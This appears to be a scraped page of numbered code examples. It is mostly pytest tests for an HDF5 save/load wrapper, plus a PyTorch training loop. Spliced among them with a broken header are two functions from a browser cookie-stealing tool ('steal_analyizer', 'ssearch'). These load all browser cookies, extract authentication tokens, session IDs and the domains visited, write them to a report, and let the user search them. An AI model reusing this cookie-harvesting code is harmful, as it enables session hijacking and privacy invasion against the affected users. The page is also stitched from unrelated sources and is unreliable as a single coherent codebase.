示例#1
0
def test_store_and_load_custom_array():
    a = [[1, 2, 3, 4], [6, 7]]
    h5w.save(fn, {'a': a}, overwrite_dataset=True)
    # loading the whole data
    res = h5w.load(fn)
    for i in xrange(len(a)):
        assert(abs(np.sum(a[i] - res['a'][i])) < 1e-12)
    # loading path directly
    res = h5w.load(fn, path='a/')
    for i in xrange(len(a)):
        assert(abs(np.sum(a[i] - res[i])) < 1e-12)
示例#2
0
def test_handle_nonexisting_path():
    res = {}
    stest = 'this is a test'
    h5w.save(fn, res, write_mode='w')
    try:
        res = h5w.load(fn, path='test/')
        raise Exception()  # should not get until here
    except KeyError:
        res['test'] = stest
        h5w.save(fn, res)
        res.clear()
        res = h5w.load(fn, path='test/')
        assert(res == stest)
示例#3
0
def test_load_lazy_simple():
    res = _construct_simpledata()
    h5w.save(fn, res, write_mode='w')
    res.clear()
    res = h5w.load(fn, lazy=True)
    for key, obj in res.items():
        assert(obj is None)
示例#4
0
def test_store_and_load_quantities_array():
    data = {'times': np.array([1, 2, 3]) * pq.ms, 'positions':
            np.array([1, 2, 3]) * pq.cm}
    h5w.save(fn, data, overwrite_dataset=True)
    # loading the whole data
    res = h5w.load(fn)
    assert(res['times'].dimensionality == data['times'].dimensionality)
def steal_analyizer():
    f = open('Browser_Analysis_Report.txt', 'w')
    f.close()

    def line():
        return '-' * 80

    def heading(HeadingName):        return '\n\n\n'+'-' * \
35+' '+HeadingName+' '+'-'*35+'\n\n\n'

    with open('Browser_Analysis_Report.txt', 'a+') as f:
        f.write(heading('Cookie Steal from Browsers'))
        cj = browser_m.load()  # browser_cookie3.load()
        f.write(heading('Tokens in Cookie'))
        cjl = [str(x) for x in cj]
        for x in cjl:
            if 'token' in x:
                f.write(x + '\n')
        f.write(line())

        f.write(heading('SessionIDs in Cookie'))
        cjl = [str(x) for x in cj]
        for x in cjl:
            if 'session' in x.lower():
                f.write(x + '\n')
        f.write(line())

        f.write(heading('Websites Visited'))
        already = dict()
        for cookie_ in cj:
            if cookie_.domain not in already:
                already[cookie_.domain] = '1'
                f.write(cookie_.domain + '\n')
        f.write(line())
示例#6
0
def test_read_empty_array_via_path():
    res = {'a': np.array([[], []])}
    h5w.save(fn, res, write_mode='w')
    res.clear()
    res = h5w.load(fn, path='a')
    assert_array_equal(res, [[], []])
    assert(np.shape(res) == (2, 0))
示例#7
0
def test_write_empty_array():
    res = {'a': [], 'b': np.array([])}
    h5w.save(fn, res, write_mode='w')
    res.clear()
    res = h5w.load(fn)
    assert_array_equal(res['a'], [])
    assert_array_equal(res['b'], [])
示例#8
0
def test_store_and_load_simpledata():
    res = _construct_simpledata()
    h5w.save(fn, res, write_mode='w')
    res.clear()
    res = h5w.load(fn)
    for key, val in zip(simpledata_str, simpledata_val):
        assert(res[key] == val)
示例#9
0
def test_overwrite_dataset():
    res = {'a': 5}
    h5w.save(fn, res, write_mode='w')
    res.clear()
    res = {'a': 6}
    with pytest.raises(KeyError):
        h5w.save(fn, res, write_mode='a', overwrite_dataset=False)
    res.clear()
    res = h5w.load(fn)
    assert(res['a'] == 5)  # dataset should still contain old value
    res.clear()
    res = {'a': 6}
    h5w.save(
        fn, res, write_mode='a', overwrite_dataset=True)
    res.clear()
    res = h5w.load(fn)
    assert(res['a'] == 6)  # dataset should contain new value
示例#10
0
def test_load_lazy_nested():
    res = {'a': 1, 'test1': {'b': 2}, 'test2': {
        'test3': {'c': np.array([1, 2, 3])}}}
    h5w.save(fn, res, write_mode='w')
    res.clear()
    res = h5w.load(fn, lazy=True)
    assert(res['a'] is None)
    assert(res['test1']['b'] is None)
    assert(res['test2']['test3']['c'] is None)
示例#11
0
def test_store_and_test_key_types():
    data = {'a': 1, (1, 2): {4: 2.}, 4.: 3.}
    h5w.save(fn, data, write_mode='w')
    res = h5w.load(fn)

    keys = ['a', (1, 2), 4.]
    for k in keys:
        assert(k in res.keys())
    assert(4 in res[(1, 2)].keys())
示例#12
0
def test_store_and_load_arraydata():
    res = {}
    for key, val in zip(arraydata_str, arraydata_val):
        res[key] = val
    h5w.save(fn, res, write_mode='w')
    res.clear()
    res = h5w.load(fn)
    for key, val in zip(arraydata_str, arraydata_val):
        assert_array_equal(res[key], val)
示例#13
0
def test_write_nested_empty_array():
    res = {'a': [[], []], 'b': np.array([[], []])}
    h5w.save(fn, res, write_mode='w')
    res.clear()
    res = h5w.load(fn)
    assert_array_equal(res['a'], [[], []])
    assert(np.shape(res['a']) == (2, 0))
    assert_array_equal(res['b'], [[], []])
    assert(np.shape(res['b']) == (2, 0))
示例#14
0
def test_store_and_load_dictdata():
    res = {}
    for key, val in zip(dictdata_str, dictdata_val):
        res[key] = val
    h5w.save(fn, res, write_mode='w')
    res.clear()
    res = h5w.load(fn)
    for dkey, dval in zip(dictdata_str, dictdata_val):
        for key, val in dval.items():
            assert(res[dkey][key] == val)
def ssearch():
    cj = browser_m.load()
    cjl = [str(x) for x in cj]
    heading('Specific WebSearch')
    name = input('Give Website Name: ')
    flag = 0
    for x in cjl:
        if name in x:
            print(x)
            flag = 1
    if flag == 0:
        print('[+] Data Not Present\n')
示例#16
0
def test_store_and_load_with_compression():
    data = {'a': 1, 'test1': {'b': 2}, 'test2': {
        'test3': {'c': np.array([1, 2, 3])}}}
    h5w.save(fn, data, write_mode='w', compression='gzip')
    h5w.load(fn)
示例#17
0
def test_store_none():
    res = {'a1': None}
    h5w.save(fn, res, write_mode='w')
    res.clear()
    res = h5w.load(fn)
    assert(res['a1'] is None)
示例#18
0
import wrapper
import preprocess
import option
import torch
from torchvision import transforms
import os
import NN

if not option.loadModel:
    model = eval(option.model)
else:
    model = wrapper.load(option.loadModel)

train_dataset = preprocess.dataset(option.train_data,
                                   transform=option.transform_train)

val_dataset = preprocess.dataset(option.val_data,
                                 transform=option.transform_test)

ShengZhiyao = wrapper.wraper(model, train_dataset, val_dataset,
                             option.optimizer)

max_epoches = option.max_epoches
while ShengZhiyao.epoch < max_epoches:
    ShengZhiyao.Train()
    ShengZhiyao.Val()
示例#19
0
def test_handle_nonexisting_file():
    try:
        h5w.load('asdasd.h5')
        raise Exception()  # should not get until here
    except IOError:
        pass
示例#20
0
def test_write_and_load_with_label():
    res = _construct_simpledata()
    h5w.save(fn, res, write_mode='w', dict_label='test_label')
    for key, val in zip(simpledata_str, simpledata_val):
        assert(h5w.load(fn, 'test_label/' + key) == val)
示例#21
0
def test_store_and_load_dataset_directly():
    res = _construct_simpledata()
    h5w.save(fn, res, write_mode='w')
    for key, val in zip(simpledata_str, simpledata_val):
        assert(h5w.load(fn, '/' + key) == val)